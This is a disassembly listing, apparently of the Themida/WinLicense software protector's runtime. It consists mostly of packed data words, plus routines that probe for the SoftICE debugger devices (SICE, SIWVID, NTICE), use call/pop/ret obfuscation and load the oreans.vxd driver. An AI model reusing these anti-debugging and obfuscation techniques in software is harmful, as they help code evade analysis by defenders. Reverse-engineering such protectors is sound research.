dd 2DF318Eh, 0BD9AECD1h, 7754A615h, 2C095B5Eh, 87C012ABh
dd 65587F31h, 1E9B3613h, 0D6E9EFCCh, 8C2FA784h, 0A0A62E3Ah
dd 58088CBAh, 136CD3CEh, 0ABB1F9A5h, 57E68829h, 3D054D75h
dd 8875137h, 0E3D6558h, 639D3B08h, 0B6C138E0h, 765C6234h
dd 8A5808BCh, 0EA32CA62h, 64488513h, 7C823592h, 5808BB96h
dd 0BBEA82AAh, 0B50ACEABh, 0E1DAFC09h, 0A4BF1E03h, 212F193Eh
dd 25Dh, 5CAE11CBh, 1769547Fh, 0D123983Ah, 86D8E1F4h, 3D8F2EA9h
dd 0DBFCB404h, 1EB390E2h, 6C6C499Bh, 0B2240153h, 23ABB709h
dd 88D371Dh, 0E9504B58h, 0B1F9A513h, 0E68829ABh, 54D7557h
dd 0CB1D9E38h, 97301CF3h, 8AE1DCFBh, 0C210C6E5h, 283261F9h
dd 0FECB13BBh, 0AEB4E3D8h, 88CB8A8h, 0CB8E058h, 9DE5D8FFh
dd 8CE9CFD5h, 0D5FD5808h, 41704988h, 0A23590D7h, 80EDC91Bh
dd 0C5B38AD2h, 9381A4EDh, 0E6ECF221h, 580856E8h, 3B48F41Ch
dd 6C74209Bh, 56B89EA4h, 0A4CC5808h, 1D53075h, 571E040Ah
dd 0A325808h, 93432072h, 812E7C28h, 0A958FADEh, 15C1FADCh
dd 53838EBDh, 89492068h, 0D50368A5h, 876474A3h, 57246C4Fh
dd 39913D80h, 4493A00Ah, 0F75BCD79h, 8635A15Bh, 3D805734h
dd 335D1EF5h, 0FEA0E2A6h, 6A1765CFh, 8DA7E3C7h, 5E2B734Ah
dd 8184774h, 4B6E6330h, 0D18479Fh, 3A47F3CAh, 0A1676C9Eh
dd 42EE8635h, 420A52EAh, 828563Ch, 0C9F4E358h, 18FFC51Dh
dd 483030F7h, 1140D842h, 82379AA7h, 0F208C9D6h, 2F5F1682h
dd 711DB537h, 961B375Bh, 0E235F01h, 9A5A4046h, 466E5808h
dd 0F2CB0C17h, 18F1C8A0h, 0F296C92Bh, 0FEE4EA32h, 125808B5h
dd 26B0BBEAh, 6BA3E995h, 44EE191Ch, 8A4CE0A2h, 0E31D0672h
dd 0C4114D73h, 0A7FFAB14h, 0F6E0BD0Fh, 0CB0C19C5h, 6CD046F2h
dd 0FBC0162Eh, 0B740DCB3h, 0A4CB0421h, 4E886575h, 493098AEh
dd 0B70463A4h, 99F19D20h, 0DB495501h, 96E5EB33h, 6C166F6Dh
dd 0A816F244h, 3EAAB0F8h, 4E1C84ECh, 0AA727A26h, 0A6ECBEA4h
dd 7BAAD21Ch, 0D556670h, 0ED593F45h, 456D1CA6h, 572E0616h
dd 0C21AAF5Bh, 0EAD29EDh, 25720A62h, 75F0BB2h, 0B209CDD8h
dd 3036FE06h, 1CA72C4Ah, 0C307365Eh, 1E4F47DEh, 46FE9C00h
dd 1D92B90h, 6E1AA334h, 0B00FC916h, 727DAC04h, 9EAB5764h
dd 0C9D68237h, 0F906B209h, 0FD31DDDCh, 0E3787919h, 0EBEB0141h
dd 6C525820h, 801E9248h, 47ECD258h, 0D8001E92h, 0A62BF840h
dd 0E00F6713h, 28E3F3D0h, 0BB417C5Bh, 1E9247D5h, 7D29C1E9h
dd 146Fh, 4017C600h, 0A6BCA12Bh, 6A50561Ch, 7E51F2E4h
dd 568FBE56h, 0F5CA12EFh, 219A3C49h
dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
dd 33884A57h, 64597A87h, 746833B8h, 89000031h, 8952240Ch
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 47CB68h
dd 24148900h, 51256851h, 81591EFBh, 9A5922F1h, 0AAE9816Bh
dd 49497213h, 824CE981h, 0CE89B661h, 76C68159h, 815BCF0Dh
dd 0BA2095C6h, 4EC8134h, 89000000h, 4812424h, 424h, 8F565A00h
dd 34FF0842h, 0C4835A24h, 24348B04h, 81E68956h, 4C6h, 4C68100h
dd 87000000h, 0E95C2434h, 0FFFDD55Fh, 6437EF17h
; ---------------------------------------------------------------------------
loc_5734A4: ; CODE XREF: Themida_:loc_572BAFj
mov eax, 616A83Bh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0D8h, 0DBh, 0A2h
dd 704C504h, 890E664Bh, 10E85Ch, 13BA0000h, 7FE1B68Fh
dd 0C25946AAh, 3DD62F36h, 0BB668FBFh, 805A8A40h, 0C281EDF3h
dd 6AA2h, 0CE8h, 622F0200h, 87048AA1h, 4E89C962h, 2800F23h
dd 50000000h, 0F2BF585Bh, 811C7451h, 743776EFh, 6CF801Ch
dd 0F600A8Bh, 1689h, 11E900h, 3B980000h, 53A66BA5h, 9A70F510h
dd 0D988E77h, 610A808Fh, 0D1B1E981h, 0F08B57A4h, 3599C181h
dd 0BE93C87h, 44000000h, 341E4F7Ah, 8DFCC24h, 0E9810E0Ch
dd 67F488ECh, 7441B866h, 0BE90A89h, 38000000h, 0D33A316Fh
dd 6357E075h, 0EA835B15h, 3BE6604h, 1EF833Ah, 0FF96850Fh
dd 0F681FFFFh
; ---------------------------------------------------------------------------
loc_573570: ; DATA XREF: Themida_:005495CCo
aam 5Bh
lodsd
pop eax
jmp loc_573606
; ---------------------------------------------------------------------------
pusha
cmp dword ptr [ebp+6140359h], 0
jz loc_57358C
jmp loc_573604
; ---------------------------------------------------------------------------
loc_57358C: ; CODE XREF: Themida_:00573581j
push 0
cmp byte ptr [esi], 30h
jnz loc_57359F
push 0
inc esi
jmp loc_5735D4
; ---------------------------------------------------------------------------
loc_57359F: ; CODE XREF: Themida_:00573591j
cmp byte ptr [esi], 33h
jnz loc_5735B0
push 10h
inc esi
jmp loc_5735D4
; ---------------------------------------------------------------------------
loc_5735B0: ; CODE XREF: Themida_:005735A2j
cmp byte ptr [esi], 34h
jnz loc_5735C1
push 30h
inc esi
jmp loc_5735D4
; ---------------------------------------------------------------------------
loc_5735C1: ; CODE XREF: Themida_:005735B3j
cmp byte ptr [esi], 35h
jnz loc_5735D2
push 40h
inc esi
jmp loc_5735D4
; ---------------------------------------------------------------------------
loc_5735D2: ; CODE XREF: Themida_:005735C4j
push 0
loc_5735D4: ; CODE XREF: Themida_:0057359Aj
; Themida_:005735ABj ...
cmp byte ptr [esi], 20h
jnz loc_5735EF
cmp byte ptr [esi+1], 0
jnz loc_5735EF
add esp, 8
jmp loc_573604
; ---------------------------------------------------------------------------
loc_5735EF: ; CODE XREF: Themida_:005735D7j
; Themida_:005735E1j
lea eax, [ebp+6140795h]
push eax
mov [esp], eax
xchg eax, esi
push eax
xchg eax, esi
push 0
call dword ptr [ebp+61402C1h]
loc_573604: ; CODE XREF: Themida_:00573587j
; Themida_:005735EAj
popa
retn
; ---------------------------------------------------------------------------
loc_573606: ; CODE XREF: Themida_:00573574j
mov byte ptr [ebp+6141A59h], 4Dh
call near ptr loc_573614+2
test al, 76h
loc_573614: ; CODE XREF: Themida_:0057360Dp
xor eax, 448B50A4h
and al, 4
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+6140931h]
lea eax, [ebp+6143B13h]
call eax
mov [ebp+61402C1h], eax
jmp short loc_573656
; ---------------------------------------------------------------------------
dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
dword_57364C dd 5C2E5C5Ch, 4349544Eh ; DATA XREF: Themida_:005491F8o
db 45h, 0
; ---------------------------------------------------------------------------
loc_573656: ; CODE XREF: Themida_:00573636j
mov eax, eax
push esi
mov cx, di
pop esi
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57366F
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_573688
loc_57366F: ; CODE XREF: Themida_:00573664j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_573688: ; CODE XREF: Themida_:0057366Dj
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_5736A8
push eax
push ebx
mov eax, 40Fh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_5736A8: ; CODE XREF: Themida_:0057368Fj
push 0
push esi
call sub_5736B3
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5736B3 proc near ; CODE XREF: Themida_:005736ABp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5736B3 endp
; ---------------------------------------------------------------------------
db 6Dh
; ---------------------------------------------------------------------------
mov [ebp+61409EDh], edx
push 0
push edx
call sub_5736D5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5736D5 proc near ; CODE XREF: Themida_:005736CDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5736D5 endp
; ---------------------------------------------------------------------------
db 0E8h, 0D9h, 3Eh
; ---------------------------------------------------------------------------
or ebx, ebp
clc
cmpsd
adc edi, 1D095CBEh
mov eax, eax
mov [ebp+6142589h], ebx
mov byte ptr [ebp+6141A59h], 43h
push 0
push ebp
call sub_57370C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57370C proc near ; CODE XREF: Themida_:00573704p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_57370C endp
; ---------------------------------------------------------------------------
dd 3B0B0BBBh, 219C496Eh, 14E9h, 89833F00h, 8B6269B0h, 0FADC1301h
dd 35B0E566h, 0CA5FDCE6h, 2D016869h, 8B6647D1h, 240481CBh
dd 74BD41FBh, 0FFFE8B66h, 141145B5h, 0ECCA8106h, 8D5985DAh
dd 143B1385h, 10E906h, 489F0000h, 0D6305267h, 0B1E86448h
dd 4DD3F28Eh, 8D8B6641h, 6143085h, 6AD0FFh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 1D4C94C3h
dd 0FE9E1h, 56DE0000h, 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah
dd 606090F8h, 12E9h, 927F5900h, 0BF9F881Fh, 9F806A31h
dd 0F6C07A27h, 8B0DD58Bh, 8B6661CEh, 515061C6h, 4AAE26BFh
dd 6A905900h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 839FC352h, 9DBD8B29h, 6A06142Fh
dd 38A0F00h, 0F000000h, 0CB68FABFh, 50E307DBh, 4FBE6652h
dd 60310F5Ah, 310F5250h, 5853585Ah, 81585A61h, 24B52404h
dd 81661CF8h, 6A6803E6h, 45BD0B03h, 6A061431h, 36AF900h
dd 9E9h, 5A891D00h, 230E2E4Eh, 4E883A5h, 0
dd 0B1C00000h, 5060508Fh, 0B2310F52h, 50585AE5h, 13E852h
dd 3130000h, 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h
dd 310F5B65h, 585AE6B5h, 24448B61h, 0FB8B6604h, 77BF008Bh
dd 89383CE3h, 60042444h, 61DE8B66h, 89958958h, 8D06142Fh
dd 16AA599Dh, 68B0F06h, 89000000h, 140BFDBDh, 0DE99306h
dd 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 2FBA9350h
dd 0FF4D84A7h, 0EE9D0h, 67060000h, 0A26EEF0h, 0C0446454h
dd 621A92D0h, 8F850F40h, 66000002h, 0DE42E681h, 0B5958B58h
dd 50061416h, 12E8h, 0A22D2900h, 731DD64Fh, 0CF1DFA3Dh
dd 6FDBBF29h, 66585FBAh, 5FB7B1BAh, 81240489h, 5E835DEEh
dd 0FC006A5Ch, 0DDE2C968h, 8E835h, 61770000h, 0F903AE1Ch
dd 815E11DBh, 0E2492434h, 10E935DDh, 97000000h, 43A4C8BDh
dd 2CCA8884h, 3E922C07h, 6A6EE40Ch, 6A006A03h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 7032C357h, 0F08B036Ah, 0D9BDA368h, 665360A0h, 615FF98Bh
dd 5D240481h, 0BA1F2642h, 12F741E7h, 0AA629D8Dh, 9EB20616h
dd 19870F93h, 0E8000000h, 0Fh, 796646C1h, 9D822777h, 0D6715B58h
dd 667012DFh, 5FEB1ABEh, 0D95EBE50h, 23932D8Fh, 140839BDh
dd 40D0FF06h, 1B0850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 23DE81C3h, 622899B5h
dd 0A1BEAED4h, 587F39D4h, 2E5958Bh, 60500614h, 50F28B66h
dd 0EC2DB852h, 310F785Eh, 5AF28B66h, 4896158h, 11E924h
dd 512C0000h, 0E181674Dh, 7D888DD0h, 0DE02646Ah, 6A84EEFEh
dd 12E900h, 0F8F70000h, 0B34FC513h, 0D4F9F24Ch, 93A8CE3Fh
dd 0A2D3F9CBh, 0E2B52D68h, 0AE86022h, 14000000h, 0EA8E3936h
dd 0FEAB0E26h, 0CFB3BF11h, 0F5A0186h, 389h, 0CA8B6600h
dd 24348161h, 22E2B5ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 26C35343h, 0B9A0C34h, 8E35E808h, 91F18166h
dd 9036A1Ah, 1425CDBDh, 6A006A06h, 2D958B03h, 8B061408h
dd 1404858Dh, 0AEAB6806h, 5250ACEDh, 0F62143BAh, 0F310F63h
dd 48Fh, 99BE6600h, 81585AF8h, 0AEAB2434h, 6A6CEDh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0AFE59FC3h, 0BF0FEB8Ah, 6D9D8DCBh, 890616AAh, 140679B5h
dd 0F539306h, 198Bh, 14E900h, 20B80000h, 0DD983E86h, 6261455Fh
dd 52A83713h, 46E1DF7Bh, 505A7486h, 0B6C68B60h, 0FF9361E9h
dd 0BA6653D0h, 405E7341h, 44850Fh, 10E90000h, 0F8000000h
dd 0B372F737h, 54E26B01h, 0CADD65DCh, 8BC5F36Fh, 140385BDh
dd 8D295806h, 6141BC5h, 145E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0D88BB1D5h
dd 31E1B50Bh, 4BF80614h, 11E9h, 6AB61600h, 804340EFh, 2C0EA1BEh
dd 0F951C0CBh, 0F58B129h, 85C6CFB7h, 6141A59h, 53006A43h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 958BFD81h, 6142FB9h, 0D210E3BEh, 898D2B4Bh, 6806142Eh
dd 0BFDA3AFEh, 3860Fh, 8B660000h, 243481F3h, 7FAC7059h
dd 6E8F5h, 2C270000h, 4B59F1B2h, 5E85DF81h, 0FF5E3D39h
dd 141145B5h, 0D6EA8106h, 97E97CCh, 14306DB5h, 13858D06h
dd 6A06143Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h, 0A2491C4Ah
dd 19BD8589h, 0D0FF0614h, 8B50EE8Ah, 241C89F9h, 35958B60h
dd 66061422h, 617B5CB9h, 0BD8BD0FFh, 614211Dh, 70F09D8Dh
dd 85890614h, 6142249h, 12E9h, 0C225BA00h, 0DC4FA80Ah
dd 7D3D5CD6h, 0FC786CCDh, 0B84D88FDh, 1, 6C56EE81h, 0E3FF0F62h
dd 0CE853h, 70550000h, 39F28C3Ah, 3AA8EF82h, 59514F94h
dd 0C18B5F59h, 0AD8D8960h, 60061402h, 8C0Fh, 9D890000h
dd 6140619h, 0C08B6161h, 8830Fh, 89510000h, 1412BD8Dh
dd 0BD835A06h, 61430B1h, 83097500h, 141AE1BDh, 19740006h
dd 0C08B5350h, 40FB8h, 0C1858900h, 8D061430h, 16B7A19Dh
dd 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h, 40FB8h, 0C1858900h
dd 8D061430h, 16B4429Dh, 5BD3FF06h, 0FDBD2958h, 8B061419h
dd 8E8C0h, 42380000h, 0F51FB5D1h, 8C0F9C65h, 6, 2E8D9D8Bh
dd 0E9580614h, 5, 0E68748BFh, 37C0811Eh, 8B00006Eh, 1B6F68D9h
dd 8B660000h, 8B665FDFh, 81108BCFh, 0F768B4F2h, 0DF8B6605h
dd 8550EA81h, 7B15FCCh, 1E37C281h, 0B58B4896h, 61416A5h
dd 0B5891089h, 6140541h, 0F03E883h, 680h, 0EDB50900h, 48061423h
dd 3C59D8Bh, 0EF830614h, 0BA850F01h, 3FFFFFFh, 1425959Dh
dd 0AAE906h, 6F530000h, 61777466h, 575C6572h, 694C6E69h
dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 5D858900h, 8D0616B2h
dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
dd 0B5FF196Ah, 616B25Dh, 6A016Ah, 0B1F2858Dh, 0FF500616h
dd 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h
dd 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch, 0B25D8589h
dd 858D0616h, 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h
dd 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah, 0B21C858Dh
dd 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah, 16B259B5h
dd 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h, 0C306141Ch
dd 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h, 500616B1h
dd 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h, 6A046Ah
dd 0B204858Dh, 0FF500616h, 16B259B5h, 8D95FF06h, 0FF06141Ah
dd 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h, 0F595FF06h
dd 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h, 0C3858D50h
dd 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h, 500616B2h
dd 6A046Ah, 0B22F858Dh, 0FF500616h, 16B259B5h, 8D95FF06h
dd 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
dd 0F595FF06h, 0C306141Ch, 0B25D8589h, 858D0616h, 616B259h
dd 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h, 5D858D04h
dd 500616B2h, 6A046Ah, 0B1DF858Dh, 0FF500616h, 16B259B5h
dd 8D95FF06h, 0FF06141Ah, 16B259B5h, 6595FF06h, 0FF0616B2h
dd 16B259B5h, 0F595FF06h, 0C306141Ch, 34F1BD83h, 0F000614h
dd 0B84h, 0F19D8B00h, 83061434h, 3894CC3h, 0F1BD83C3h
dd 61434h, 0B840Fh, 9D8B0000h, 61434F1h, 8950C383h, 0BD83C303h
dd 61434F1h, 0B840F00h, 8B000000h, 1434F19Dh, 54C38306h
dd 83C30389h, 1434F1BDh, 840F0006h, 0Bh, 34F19D8Bh, 0C3830614h
dd 0C3038958h, 34F1BD83h, 0F000614h, 0B84h, 0F19D8B00h
dd 83061434h, 3895CC3h, 8960C3C3h, 16B25D85h, 59858D06h
dd 500616B2h, 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh
dd 46A0616h, 0B25D858Dh, 6A500616h, 8D006A04h, 16B25485h
dd 0B5FF5006h, 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h
dd 0C840F00h, 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h
dd 16B259B5h, 0F595FF06h, 6106141Ch, 858960C3h, 616B25Dh
dd 0B259858Dh, 8D500616h, 16B1C385h, 1685006h, 0FF800000h
dd 16B26995h, 8D046A06h, 16B25D85h, 46A5006h, 858D006Ah
dd 616B236h, 59B5FF50h, 0FF0616B2h, 141A8D95h, 0B1BD8306h
dd 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh, 0B5FF0616h
dd 616B259h, 1CF595FFh, 0C3610614h, 5D858960h, 8D0616B2h
dd 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h, 616B269h
dd 858D046Ah, 616B25Dh, 6A046A50h, 3D858D00h, 500616B2h
dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h, 0F000614h
dd 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h, 59B5FF06h
dd 0FF0616B2h, 141CF595h, 60C36106h, 0B25D8589h, 858D0616h
dd 616B259h, 0C3858D50h, 500616B1h, 168h, 6995FF80h, 6A0616B2h
dd 5D858D04h, 500616B2h, 6A046Ah, 0B245858Dh, 0FF500616h
dd 16B259B5h, 8D95FF06h, 8306141Ah, 1430B1BDh, 840F0006h
dd 0Ch, 0B259B5FFh, 95FF0616h, 616B265h, 0B259B5FFh, 95FF0616h
dd 6141CF5h, 8960C361h, 16B25D85h, 59858D06h, 500616B2h
dd 0B1C3858Dh, 68500616h, 80000001h, 0B26995FFh, 46A0616h
dd 0B25D858Dh, 6A500616h, 8D006A04h, 16B24C85h, 0B5FF5006h
dd 616B259h, 1A8D95FFh, 0BD830614h, 61430B1h, 0C840F00h
dd 0FF000000h, 16B259B5h, 6595FF06h, 0FF0616B2h, 16B259B5h
dd 0F595FF06h, 6106141Ch, 85C760C3h, 616B25Dh, 1, 0B259858Dh
dd 8D500616h, 16B1C385h, 2685006h, 0FF800000h, 16B26995h
dd 0FC00B06h, 0F84h, 5D85C700h, 616B2h, 0E9000000h, 4Dh
dd 858D046Ah, 616B25Dh, 6A046A50h, 0D7858D00h, 500616B1h
dd 0B259B5FFh, 95FF0616h, 6141A8Dh, 840FC00Bh, 0Fh, 0B25D85C7h
dd 616h, 0AE90000h, 0C7000000h, 16B25D85h, 106h, 59B5FF00h
dd 0FF0616B2h, 141CF595h, 858B6106h, 616B25Dh, 858960C3h
dd 616B25Dh, 0B259858Dh, 8D500616h, 16B1C385h, 1685006h
dd 0FF800000h, 16B26995h, 8D046A06h, 16B25D85h, 46A5006h
dd 858D006Ah, 616B1D7h, 59B5FF50h, 0FF0616B2h, 141A8D95h
dd 0B1BD8306h, 61430h, 0C840Fh, 0B5FF0000h, 616B259h, 0B26595FFh
dd 0B5FF0616h, 616B259h, 1CF595FFh, 0C3610614h, 5D858960h
dd 8D0616B2h, 16B25985h, 858D5006h, 616B1C3h, 16850h, 95FF8000h
dd 616B269h, 858D046Ah, 616B25Dh, 6A046A50h, 0E9858D00h
dd 500616B1h, 0B259B5FFh, 95FF0616h, 6141A8Dh, 30B1BD83h
dd 0F000614h, 0C84h, 59B5FF00h, 0FF0616B2h, 16B26595h
dd 59B5FF06h, 0FF0616B2h, 141CF595h, 0C6C36106h, 141A5985h
dd 7685206h, 0FFADE47Bh, 143481B5h, 1195FF06h, 89061423h
dd 16B26985h, 5985C606h, 5206141Ah, 2E00E568h, 81B5FF90h
dd 0FF061434h, 14231195h, 65858906h, 0C60616B2h, 141A5985h
dd 35685206h, 0FFB9BF12h, 143481B5h, 1195FF06h, 89061423h
dd 141A8D85h, 5985C606h, 5206141Ah, 78103468h, 81B5FF98h
dd 0FF061434h, 14231195h, 0F5858906h, 0C606141Ch, 141A5985h
dd 0D4685206h, 0FFC005DBh, 143481B5h, 1195FF06h, 89061423h
dd 1402ED85h, 99E906h, 622F0000h, 68636775h, 326B6365h
dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 16B923BDh
dd 840F0006h, 0Ah, 1AE185C7h, 10614h, 85C60000h, 6141A59h
dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h
dd 0B5FF5804h, 6141145h, 3B13858Dh, 0D0FF0614h, 0F88BD0FFh
dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh
dd 840F003Fh, 31Eh, 3F8047h, 314840Fh, 1EE90000h, 80000000h
dd 840F003Fh, 306h, 0F203F80h, 685h, 6E94700h, 47000000h
dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E3E90000h, 0E9000002h
dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h
dd 2C6h, 0AE8h, 0FFCBE900h, 0B7E9FFFFh, 8D000002h, 16B8A3B5h
dd 225E806h, 0BD030000h, 616B938h, 0B938BD83h, 0F000616h
dd 0B84h, 0B185C700h, 1061430h, 0C3000000h, 0B8AEB58Dh
dd 0FCE80616h, 3000001h, 16B938BDh, 38BD8306h, 616B9h
dd 0B840Fh, 85C70000h, 6141AE1h, 1, 27B58DC3h, 0E80616B9h
dd 1D3h, 0B938BD03h
dd 0BD830616h, 616B938h, 0B840F00h, 0C7000000h, 14035985h
dd 106h, 0B58DC300h, 616B8B8h, 1AAE8h, 38BD0300h, 830616B9h
dd 16B938BDh, 840F0006h, 0Bh, 1AE185C7h, 10614h, 8DC30000h
dd 16B8C2B5h, 181E806h, 0BD030000h, 616B938h, 0B938BD83h
dd 0F000616h, 1584h, 0E185C700h, 106141Ah, 0C7000000h
dd 1430B185h, 106h, 0B58DC300h, 616B8D0h, 14EE8h, 38BD0300h
dd 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h
dd 0B58D0000h, 616B8DAh, 126E8h, 38BD0300h, 830616B9h
dd 16B938BDh, 840F0006h, 0Ah, 0D0985C7h, 10614h, 0B58D0000h
dd 616B8E5h, 0FEE8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h
dd 0Ah, 65D85C7h, 10614h, 0B58D0000h, 616B8EBh, 0D6E8h
dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 2E7185C7h
dd 10614h, 0B58D0000h, 616B8F1h, 0AEE8h, 38BD0300h, 830616B9h
dd 16B938BDh, 840F0006h, 0Ah, 0CAD85C7h, 10614h, 0B58D0000h
dd 616B8FFh, 86E8h, 38BD0300h, 830616B9h, 16B938BDh, 840F0006h
dd 0Ah, 211985C7h, 10614h, 0B58D0000h, 616B90Ch, 5EE8h
dd 38BD0300h, 830616B9h, 16B938BDh, 840F0006h, 0Ah, 0B0585C7h
dd 10614h, 0B58D0000h, 616B917h, 36E8h, 38BD0300h, 830616B9h
dd 16B938BDh, 840F0006h, 0Ah, 1CA185C7h, 10614h, 1E90000h
dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh
dd 1B9h, 0E9DE8B00h, 1Fh, 0F003F80h, 585h, 0B900h, 178A0000h
dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8, 850FC90Bh
dd 0FFFFFFD0h, 840FC90Bh, 21h, 0F003F80h, 984h, 203F8000h
dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
dd 89F32B00h, 16B938B5h, 0AE906h, 85C70000h, 616B938h
dd 0
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
dw 0B8h
dd 0B000000h, 0A840FC0h, 0C7000000h, 140D0985h, 6, 0E8C88B00h
dd 13h, 0F8523FC8h, 0F7460024h, 8F13BA3Bh, 0AA7FE1B6h
dd 60C25946h, 0F60C88Bh, 8Ch, 0FA72BA00h, 61617E9Dh, 0E1D6815Bh
dd 8121858Dh, 662FC3h, 0FBF3BF00h, 0BA7B43h, 80000000h
dd 0C8B04CCh, 81C68B13h, 3820D6C1h, 29858B7Fh, 81061409h
dd 3A16EDF1h, 0A98D0908h, 8106142Ah, 0C143A3F1h, 0BD9D8949h
dd 51061423h, 34CDBD2Bh, 48F0614h, 3D9D0913h, 60061403h
dd 0FE9h, 570F3100h, 0AEFCF3F8h, 78850523h, 814748FFh
dd 5C88166h, 0EA816181h, 44EE93A1h, 30618D89h, 0C2810614h
dd 44EE939Dh, 9E9h, 9DF9ED00h, 0CD04C81Dh, 0FA81A38Dh
dd 0FFFF9AB4h, 16850Fh, 0C18A0000h, 22E9h, 621D7F00h, 0AB070137h
dd 0F86E0861h, 115ABAD0h, 28F0Fh, 0C18B0000h, 0FFFF5DE9h
dd 5680EBFFh, 0E9278D89h, 20Eh, 6E614333h, 20746F6Eh, 74697277h
dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh
dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch
dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h
dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0)
dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 0EFE90000h, 0C6000000h, 141A5985h, 86684706h, 0FFE3E45Bh
dd 141145B5h, 13858D06h, 0FF06143Bh, 10468D0h, 9D8D0000h
dd 61411A9h, 50D0FF53h, 0BFBDB58Dh, 0FE8B0616h, 0FAEC032h
